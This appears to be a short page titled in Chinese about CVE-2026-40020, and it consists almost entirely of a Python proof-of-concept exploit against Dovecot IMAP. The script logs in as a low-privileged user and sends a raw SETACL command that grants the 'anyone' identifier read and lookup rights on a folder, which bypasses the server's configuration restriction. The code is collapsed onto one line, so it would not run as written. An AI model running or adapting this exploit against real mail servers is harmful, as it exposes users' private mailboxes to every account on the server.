CVE-2026-40020 Dovecot IMAP权限绕过漏洞

import imaplib # Exploit Title: Dovecot IMAP SETACL Permission Bypass (CVE-2026-40020) # Description: Inject 'anyone' permission into user's ACL file even if imap_acl_allow_anyone=no. IMAP_SERVER = 'target.example.com' IMAP_PORT = 143 ATTACKER_USER = '[email protected]' ATTACKER_PASS = 'password' VICTIM_FOLDER = 'INBOX.SpamFolder' try: # 1. Connect to the IMAP server client = imaplib.IMAP4(IMAP_SERVER, IMAP_PORT) # 2. Login with low-privileged user client.login(ATTACKER_USER, ATTACKER_PASS) print(f"[*] Logged in as {ATTACKER_USER}") # 3. Select the victim's folder (if attacker has access to modify ACL) # Note: In some configurations, attacker might need to create a folder or have specific shared folder access. # This PoC assumes the attacker has the right to modify ACL of the target folder. # 4. Exploit: Inject 'anyone' permission using SETACL # The vulnerability allows setting 'anyone' rights despite the config restriction. # 'lrs' stands for lookup, read, and seen (keep mail marked seen). acl_command = f'SETACL "{VICTIM_FOLDER}" anyone lrs' # Using raw IMAP command via imaplib typ, data = client._simple_command('SETACL', VICTIM_FOLDER, 'anyone', 'lrs') if typ == 'OK': print(f"[+] Successfully injected 'anyone' permission to {VICTIM_FOLDER}") print(f"[+] The folder is now accessible/spammable by all users.") else: print(f"[-] Failed to inject permission. Server response: {data}") client.logout() except Exception as e: print(f"[!] An error occurred: {e}")